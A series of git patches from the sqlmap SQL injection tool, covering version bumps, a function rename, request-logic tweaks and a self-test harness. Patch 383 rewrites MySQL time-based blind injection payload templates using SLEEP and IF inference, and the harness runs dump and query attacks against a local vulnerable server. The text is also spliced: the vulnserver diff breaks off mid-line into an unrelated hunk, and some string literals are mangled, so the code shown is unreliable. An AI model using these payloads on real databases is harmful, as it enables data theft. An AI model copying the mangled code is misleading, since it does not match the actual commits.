VERSION.split('.')[-1] == '0' else VERSION, TYPE) From bbf7472b4256514cb524530a29094085c4f68277 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 29 Apr 2019 11:13:47 +0200 Subject: [PATCH 245/800] Adding aux (dev) script --- extra/shutils/junk.sh | 7 +++++++ lib/core/settings.py | 2 +- 2 files changed, 8 insertions(+), 1 deletion(-) create mode 100755 extra/shutils/junk.sh diff --git a/extra/shutils/junk.sh b/extra/shutils/junk.sh new file mode 100755 index 00000000000..57ff2118466 --- /dev/null +++ b/extra/shutils/junk.sh @@ -0,0 +1,7 @@ +#!/bin/bash + +# Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +# See the file 'LICENSE' for copying permission + +find . -type d -name "__pycache__" -exec rm -rf {} \; &>/dev/null +find . -name "*.pyc" -exec rm -f {} \; &>/dev/null diff --git a/lib/core/settings.py b/lib/core/settings.py index 6388c2bbce6..be7462dc65f 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -17,7 +17,7 @@ from lib.core.enums import OS # sqlmap version (...) -VERSION = "1.3.4.35" +VERSION = "1.3.4.36" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From ba7ab215966353068472358e8c085110fe338c7f Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 29 Apr 2019 11:32:01 +0200 Subject: [PATCH 246/800] Minor update for vuln testing --- extra/vulnserver/vulnserver.py | 9 +++++++++ lib/core/settings.py | 2 +- lib/core/testing.py | 2 +- 3 files changed, 11 insertions(+), 2 deletions(-) diff --git a/extra/vulnserver/vulnserver.py b/extra/vulnserver/vulnserver.py index bb730b66556..379df09791c 100644 --- a/extra/vulnserver/vulnserver.py +++ b/extra/vulnserver/vulnserver.py @@ -16,6 +16,7 @@ if sys.version_info >= (3, 0): from http.client import FOUND + from http.client import INTERNAL_SERVER_ERROR from http.client import NOT_FOUND from http.client import OK from http.server import BaseHTTPRequestHandler @@ -27,6 +28,7 @@ from BaseHTTPServer import BaseHTTPRequestHandler from BaseHTTPServer import HTTPServer from httplib import FOUND + from httplib import INTERNAL_SERVER_ERROR from httplib import NOT_FOUND from httplib import OK from SocketServer import ThreadingMixIn @@ -85,6 +87,13 @@ def do_REQUEST(self): if query: params.update(parse_qs(query)) + if "||%s" % (r"|<[^>]+>|\t|\n|\r" if onlyText else ""), split, page) retVal = re.sub(r"%s{2,}" % split, split, retVal) - retVal = htmlunescape(retVal.strip().strip(split)) + retVal = htmlUnescape(retVal.strip().strip(split)) return retVal @@ -2636,7 +2636,7 @@ def extractErrorMessage(page): match = re.search(regex, page, re.IGNORECASE) if match: - retVal = htmlunescape(match.group("result")).replace("
", "\n").strip() + retVal = htmlUnescape(match.group("result")).replace("
", "\n").strip() break return retVal diff --git a/lib/core/convert.py b/lib/core/convert.py old mode 100755 new mode 100644 index 97d97473d6a..6f43205794c --- a/lib/core/convert.py +++ b/lib/core/convert.py @@ -70,11 +70,11 @@ def base64unpickle(value): return retVal -def htmlunescape(value): +def htmlUnescape(value): """ Returns (basic conversion) HTML unescaped value - >>> htmlunescape('a<b') + >>> htmlUnescape('a<b') 'a...) -VERSION = "1.3.5.110" +VERSION = "1.3.5.111" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/techniques/error/use.py b/lib/techniques/error/use.py index a4ed17520b3..3071e4f10de 100644 --- a/lib/techniques/error/use.py +++ b/lib/techniques/error/use.py @@ -34,7 +34,7 @@ from lib.core.compat import xrange from lib.core.convert import decodeHex from lib.core.convert import getUnicode -from lib.core.convert import htmlunescape +from lib.core.convert import htmlUnescape from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -204,7 +204,7 @@ def _oneShotErrorUse(expression, field=None, chunkTest=False): retVal = decodeDbmsHexValue(retVal) if conf.hexConvert else retVal if isinstance(retVal, six.string_types): - retVal = htmlunescape(retVal).replace("
", "\n") + retVal = htmlUnescape(retVal).replace("
", "\n") retVal = _errorReplaceChars(retVal) diff --git a/lib/techniques/union/use.py b/lib/techniques/union/use.py index 6cebf45bed3..215661ee181 100644 --- a/lib/techniques/union/use.py +++ b/lib/techniques/union/use.py @@ -42,7 +42,7 @@ from lib.core.convert import decodeBase64 from lib.core.convert import getBytes from lib.core.convert import getUnicode -from lib.core.convert import htmlunescape +from lib.core.convert import htmlUnescape from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -147,7 +147,7 @@ def _(regex): # Special case when DBMS is Microsoft SQL Server and error message is used as a result of UNION injection if Backend.isDbms(DBMS.MSSQL) and wasLastResponseDBMSError(): - retVal = htmlunescape(retVal).replace("
", "\n") + retVal = htmlUnescape(retVal).replace("
", "\n") hashDBWrite("%s%s" % (conf.hexConvert or False, expression), retVal) diff --git a/lib/utils/crawler.py b/lib/utils/crawler.py index 66818592d1f..f1ace276b51 100644 --- a/lib/utils/crawler.py +++ b/lib/utils/crawler.py @@ -20,7 +20,7 @@ from lib.core.common import safeCSValue from lib.core.common import urldecode from lib.core.compat import xrange -from lib.core.convert import htmlunescape +from lib.core.convert import htmlUnescape from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger @@ -99,7 +99,7 @@ def crawlThread(): if href: if threadData.lastRedirectURL and threadData.lastRedirectURL[0] == threadData.lastRequestUID: current = threadData.lastRedirectURL[1] - url = _urllib.parse.urljoin(current, htmlunescape(href)) + url = _urllib.parse.urljoin(current, htmlUnescape(href)) # flag to know if we are dealing with the same target host _ = checkSameHost(url, target) From 98cf790eab587400501c9ec7c23d78e263081806 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 20 May 2019 11:48:45 +0200 Subject: [PATCH 380/800] Minor patch (drei) --- lib/core/common.py | 2 +- lib/core/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 5e87b8934db..1ebb82969d8 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1808,7 +1808,7 @@ def getFileType(filePath): finally: desc = getText(desc) - if desc == magic.MAGIC_UNKNOWN_FILETYPE: + if desc == getText(magic.MAGIC_UNKNOWN_FILETYPE): content = openFile(filePath, "rb", encoding=None).read() try: diff --git a/lib/core/settings.py b/lib/core/settings.py index 591b9c23102..aa0cce9d86b 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.5.111" +VERSION = "1.3.5.112" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From ddf67bb8763615a432f106f61243c43f4adc9744 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 20 May 2019 11:56:16 +0200 Subject: [PATCH 381/800] Fixing some Windows quote problems --- lib/core/settings.py | 2 +- lib/core/testing.py | 8 ++++---- 2 files changed, 5 insertions(+), 5 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index aa0cce9d86b..ee1dde43e22 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.5.112" +VERSION = "1.3.5.113" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/testing.py b/lib/core/testing.py index fd7e9ba0617..3f829662ebb 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -73,12 +73,12 @@ def _thread(): for options, checks in ( ("--flush-session --identify-waf", ("CloudFlare",)), ("--flush-session --parse-errors", (": syntax error", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "back-end DBMS: SQLite", "3 columns")), - ("--banner --schema --dump -T users --binary-fields=surname --where 'id>3'", ("banner: '3", "INTEGER", "TEXT", "id", "name", "surname", "2 entries", "6E616D6569736E756C6C")), + ("--banner --schema --dump -T users --binary-fields=surname --where \"id>3\"", ("banner: '3", "INTEGER", "TEXT", "id", "name", "surname", "2 entries", "6E616D6569736E756C6C")), ("--all --tamper=between,randomcase", ("5 entries", "luther", "blisset", "fluffy", "179ad45c6ce2cb97cf1029e212046e81", "NULL", "nameisnull", "testpass")), - ("--technique=B --hex --fresh-queries --threads=4 --sql-query='SELECT 987654321'", ("length of query output", ": '987654321'",)), - ("--technique=T --fresh-queries --sql-query='SELECT 1234'", (": '1234'",)), + ("--technique=B --hex --fresh-queries --threads=4 --sql-query=\"SELECT 987654321\"", ("length of query output", ": '987654321'",)), + ("--technique=T --fresh-queries --sql-query=\"SELECT 1234\"", (": '1234'",)), ): - cmd = "%s %s -u http://%s:%d/?id=1 --batch %s" % (sys.executable, os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py"), address, port, options) + cmd = "%s %s -u http://%s:%d/?id=1 --batch %s" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), address, port, options) output = shellExec(cmd) if not all(check in output for check in checks): From 79d0c83f8f6d2db559258d0ad6d93ebc3a3e7ce9 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 20 May 2019 12:09:14 +0200 Subject: [PATCH 382/800] Bug fix for Python3 (drei lack of color output) --- lib/core/settings.py | 2 +- thirdparty/ansistrm/ansistrm.py | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index ee1dde43e22..b01e30c7094 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.5.113" +VERSION = "1.3.5.114" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/thirdparty/ansistrm/ansistrm.py b/thirdparty/ansistrm/ansistrm.py index ecb478fd62c..55c55f7b7a2 100644 --- a/thirdparty/ansistrm/ansistrm.py +++ b/thirdparty/ansistrm/ansistrm.py @@ -94,7 +94,6 @@ def output_colorized(self, message): def output_colorized(self, message): parts = self.ansi_esc.split(message) - write = self.stream.write h = None fd = getattr(self.stream, 'fileno', None) @@ -108,7 +107,8 @@ def output_colorized(self, message): text = parts.pop(0) if text: - write(text) + self.stream.write(text) + self.stream.flush() if parts: params = parts.pop(0) From e1ab969fcedd18dd7af9a1cd600c5f54e33f7478 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 20 May 2019 12:41:41 +0200 Subject: [PATCH 383/800] Minor revisiting of MySQL time-based payloads --- lib/core/settings.py | 2 +- xml/payloads/time_blind.xml | 66 +++++++++++++++++++------------------ 2 files changed, 35 insertions(+), 33 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index b01e30c7094..cf42c6c5508 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.5.114" +VERSION = "1.3.5.115" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/xml/payloads/time_blind.xml b/xml/payloads/time_blind.xml index 6423a8050ab..dc710757ef2 100644 --- a/xml/payloads/time_blind.xml +++ b/xml/payloads/time_blind.xml @@ -2,16 +2,18 @@ + + - MySQL >= 5.0.12 AND time-based blind + MySQL >= 5.0.12 AND time-based blind (query SLEEP) 5 1 1 1,2,3,8,9 1 - AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) + AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) - AND SLEEP([SLEEPTIME]) + AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) @@ -23,15 +25,15 @@ - MySQL >= 5.0.12 OR time-based blind + MySQL >= 5.0.12 OR time-based blind (query SLEEP) 5 1 3 1,2,3,9 1 - OR [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) + OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) - OR SLEEP([SLEEPTIME]) + OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) @@ -43,16 +45,15 @@ - MySQL >= 5.0.12 AND time-based blind (comment) + MySQL >= 5.0.12 AND time-based blind (SLEEP) 5 - 3 + 2 1 - 1,2,3,9 + 1,2,3,8,9 1 AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) AND SLEEP([SLEEPTIME]) - # @@ -64,16 +65,15 @@ - MySQL >= 5.0.12 OR time-based blind (comment) + MySQL >= 5.0.12 OR time-based blind (SLEEP) 5 - 3 + 2 3 1,2,3,9 1 OR [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) OR SLEEP([SLEEPTIME]) - # @@ -85,15 +85,16 @@ - MySQL >= 5.0.12 AND time-based blind (query SLEEP) + MySQL >= 5.0.12 AND time-based blind (SLEEP - comment) 5 - 2 + 3 1 - 1,2,3,8,9 + 1,2,3,9 1 - AND (SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) + AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) - AND (SELECT * FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) + AND SLEEP([SLEEPTIME]) + # @@ -105,15 +106,16 @@ - MySQL >= 5.0.12 OR time-based blind (query SLEEP) + MySQL >= 5.0.12 OR time-based blind (SLEEP - comment) 5 - 2 + 3 3 1,2,3,9 1 - OR (SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) + OR [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]) - OR (SELECT * FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) + OR SLEEP([SLEEPTIME]) + # @@ -131,9 +133,9 @@ 1 1,2,3,9 1 - AND (SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) + AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) - AND (SELECT * FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) + AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) # @@ -152,9 +154,9 @@ 3 1,2,3,9 1 - OR (SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) + OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) - OR (SELECT * FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) + OR (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) # @@ -296,9 +298,9 @@ 1 1,2,3,9 1 - RLIKE (SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) + RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) - RLIKE (SELECT * FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) + RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) @@ -316,9 +318,9 @@ 1 1,2,3,9 1 - RLIKE (SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) + RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) - RLIKE (SELECT * FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) + RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) # @@ -1490,9 +1492,9 @@ 1 1,2,3,9 3 - (SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) + (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]) - (SELECT * FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) + (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME])))[RANDSTR]) From c8c6a67cdacc379095d356ae0dc3af45253e79f9 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 20 May 2019 13:35:26 +0200 Subject: [PATCH 384/800] Minor improvement (partial payload reflection like in syntax errors) --- lib/core/common.py | 5 ++++- lib/core/settings.py | 2 +- 2 files changed, 5 insertions(+), 2 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 1ebb82969d8..0c734984844 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -3821,7 +3821,10 @@ def _(value): if regex != payload: if all(part.lower() in content.lower() for part in filterNone(regex.split(REFLECTED_REPLACEMENT_REGEX))[1:]): # fast optimization check parts = regex.split(REFLECTED_REPLACEMENT_REGEX) - retVal = content.replace(payload, REFLECTED_VALUE_MARKER) # dummy approach + + # Note: naive approach + retVal = content.replace(payload, REFLECTED_VALUE_MARKER) + retVal = content.replace(re.sub(r"\A\w+", "", payload), REFLECTED_VALUE_MARKER) if len(parts) > REFLECTED_MAX_REGEX_PARTS: # preventing CPU hogs regex = _("%s%s%s" % (REFLECTED_REPLACEMENT_REGEX.join(parts[:REFLECTED_MAX_REGEX_PARTS // 2]), REFLECTED_REPLACEMENT_REGEX, REFLECTED_REPLACEMENT_REGEX.join(parts[-REFLECTED_MAX_REGEX_PARTS // 2:]))) diff --git a/lib/core/settings.py b/lib/core/settings.py index cf42c6c5508..521c0435bd8 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.5.115" +VERSION = "1.3.5.116" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 0302a781b40c1022b7f4d767abeee5db67b4e69e Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 20 May 2019 13:55:57 +0200 Subject: [PATCH 385/800] Trivial patch --- lib/core/common.py | 2 +- lib/core/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 0c734984844..e3a21ef96bd 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -3824,7 +3824,7 @@ def _(value): # Note: naive approach retVal = content.replace(payload, REFLECTED_VALUE_MARKER) - retVal = content.replace(re.sub(r"\A\w+", "", payload), REFLECTED_VALUE_MARKER) + retVal = retVal.replace(re.sub(r"\A\w+", "", payload), REFLECTED_VALUE_MARKER) if len(parts) > REFLECTED_MAX_REGEX_PARTS: # preventing CPU hogs regex = _("%s%s%s" % (REFLECTED_REPLACEMENT_REGEX.join(parts[:REFLECTED_MAX_REGEX_PARTS // 2]), REFLECTED_REPLACEMENT_REGEX, REFLECTED_REPLACEMENT_REGEX.join(parts[-REFLECTED_MAX_REGEX_PARTS // 2:]))) diff --git a/lib/core/settings.py b/lib/core/settings.py index 521c0435bd8..97ee3965d64 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.5.116" +VERSION = "1.3.5.117" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From dd450b53f402633680ca9dad639c4ae370c376bc Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 20 May 2019 15:13:52 +0200 Subject: [PATCH 386/800] Less requests in case of non-injectable parameters --- lib/controller/checks.py | 34 ++++++++++++++++++++++++++-------- lib/core/settings.py | 2 +- lib/techniques/union/test.py | 4 +++- 3 files changed, 30 insertions(+), 10 deletions(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 4ba0079f1c3..9de54213b5b 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -345,15 +345,16 @@ def checkSqlInjection(place, parameter, value): match = re.search(r"(\d+)-(\d+)", test.request.columns) if match and not injection.data: _ = test.request.columns.split('-')[-1] - if conf.uCols is None and _.isdigit() and int(_) > 10: + if conf.uCols is None and _.isdigit(): if kb.futileUnion is None: - msg = "it is not recommended to perform " - msg += "extended UNION tests if there is not " + msg = "it is recommended to perform " + msg += "only basic UNION tests if there is not " msg += "at least one other (potential) " - msg += "technique found. Do you want to skip? [Y/n] " - kb.futileUnion = not readInput(msg, default='Y', boolean=True) + msg += "technique found. Do you want to reduce " + msg +="the number of requests? [Y/n] " + kb.futileUnion = readInput(msg, default='Y', boolean=True) - if kb.futileUnion is False: + if kb.futileUnion and int(_) > 10: debugMsg = "skipping test '%s'" % title logger.debug(debugMsg) continue @@ -499,14 +500,31 @@ def genCmpPayload(): return cmpPayload - # Useful to set kb.matchRatio at first based on - # the False response content + # Useful to set kb.matchRatio at first based on False response content kb.matchRatio = None kb.negativeLogic = (where == PAYLOAD.WHERE.NEGATIVE) Request.queryPage(genCmpPayload(), place, raise404=False) falsePage, falseHeaders, falseCode = threadData.lastComparisonPage or "", threadData.lastComparisonHeaders, threadData.lastComparisonCode falseRawResponse = "%s%s" % (falseHeaders, falsePage) + # Checking if there is difference between current FALSE, original and heuristics page (i.e. not used parameter) + if not kb.negativeLogic: + try: + ratio = 1.0 + seqMatcher = getCurrentThreadData().seqMatcher + + for current in (kb.originalPage, kb.heuristicPage): + seqMatcher.set_seq1(current) + seqMatcher.set_seq2(falsePage) + ratio *= seqMatcher.quick_ratio() + + if ratio == 1.0: + continue + except MemoryError: + pass + + kb.prevFalsePage = falsePage + # Perform the test's True request trueResult = Request.queryPage(reqPayload, place, raise404=False) truePage, trueHeaders, trueCode = threadData.lastComparisonPage or "", threadData.lastComparisonHeaders, threadData.lastComparisonCode diff --git a/lib/core/settings.py b/lib/core/settings.py index 97ee3965d64..fc0903a0d26 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.5.117" +VERSION = "1.3.5.118" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/techniques/union/test.py b/lib/techniques/union/test.py index 53f72d01a56..32f5f8dbccc 100644 --- a/lib/techniques/union/test.py +++ b/lib/techniques/union/test.py @@ -91,13 +91,15 @@ def _orderByTest(cols): kb.errorIsNone = False lowerCount, upperCount = conf.uColsStart, conf.uColsStop - if kb.orderByColumns is None and (lowerCount == 1 or conf.uCols): # ORDER BY is not bullet-proof + if kb.orderByColumns is None and (lowerCount == 1 or conf.uCols): # Note: ORDER BY is not bullet-proof found = _orderByTechnique(lowerCount, upperCount) if conf.uCols else _orderByTechnique() if found: kb.orderByColumns = found infoMsg = "target URL appears to have %d column%s in query" % (found, 's' if found > 1 else "") singleTimeLogMessage(infoMsg) return found + elif kb.futileUnion: + return None if abs(upperCount - lowerCount) < MIN_UNION_RESPONSES: upperCount = lowerCount + MIN_UNION_RESPONSES From 23a7aea2db4bfc98c728b47f6b1fd92aae510494 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 20 May 2019 19:41:12 +0200 Subject: [PATCH 387/800] Fixes #3687 --- lib/controller/checks.py | 4 ++-- lib/core/settings.py | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 9de54213b5b..ff87aa5a28d 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -514,8 +514,8 @@ def genCmpPayload(): seqMatcher = getCurrentThreadData().seqMatcher for current in (kb.originalPage, kb.heuristicPage): - seqMatcher.set_seq1(current) - seqMatcher.set_seq2(falsePage) + seqMatcher.set_seq1(current or "") + seqMatcher.set_seq2(falsePage or "") ratio *= seqMatcher.quick_ratio() if ratio == 1.0: diff --git a/lib/core/settings.py b/lib/core/settings.py index fc0903a0d26..779610a3c92 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.5.118" +VERSION = "1.3.5.119" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 1f9b248ac491dfbe9eb2d57c4a1d2b004543a7f4 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 20 May 2019 19:55:57 +0200 Subject: [PATCH 388/800] Minor update --- lib/core/settings.py | 2 +- lib/core/testing.py | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 779610a3c92..09bf36e8558 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.5.119" +VERSION = "1.3.5.120" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/testing.py b/lib/core/testing.py index 3f829662ebb..3ca8306e50c 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -72,10 +72,10 @@ def _thread(): for options, checks in ( ("--flush-session --identify-waf", ("CloudFlare",)), - ("--flush-session --parse-errors", (": syntax error", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "back-end DBMS: SQLite", "3 columns")), + ("--flush-session --parse-errors --eval=\"id2=2\" --referer=\"localhost\" --cookie=\"PHPSESSID=d41d8cd98f00b204e9800998ecf8427e\"", (": syntax error", "Type: boolean-based blind", "Type: time-based blind", "Type: UNION query", "back-end DBMS: SQLite", "3 columns")), ("--banner --schema --dump -T users --binary-fields=surname --where \"id>3\"", ("banner: '3", "INTEGER", "TEXT", "id", "name", "surname", "2 entries", "6E616D6569736E756C6C")), ("--all --tamper=between,randomcase", ("5 entries", "luther", "blisset", "fluffy", "179ad45c6ce2cb97cf1029e212046e81", "NULL", "nameisnull", "testpass")), - ("--technique=B --hex --fresh-queries --threads=4 --sql-query=\"SELECT 987654321\"", ("length of query output", ": '987654321'",)), + ("-z \"tec=B\" --hex --fresh-queries --threads=4 --sql-query=\"SELECT 987654321\"", ("length of query output", ": '987654321'",)), ("--technique=T --fresh-queries --sql-query=\"SELECT 1234\"", (": '1234'",)), ): cmd = "%s %s -u http://%s:%d/?id=1 --batch %s" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", 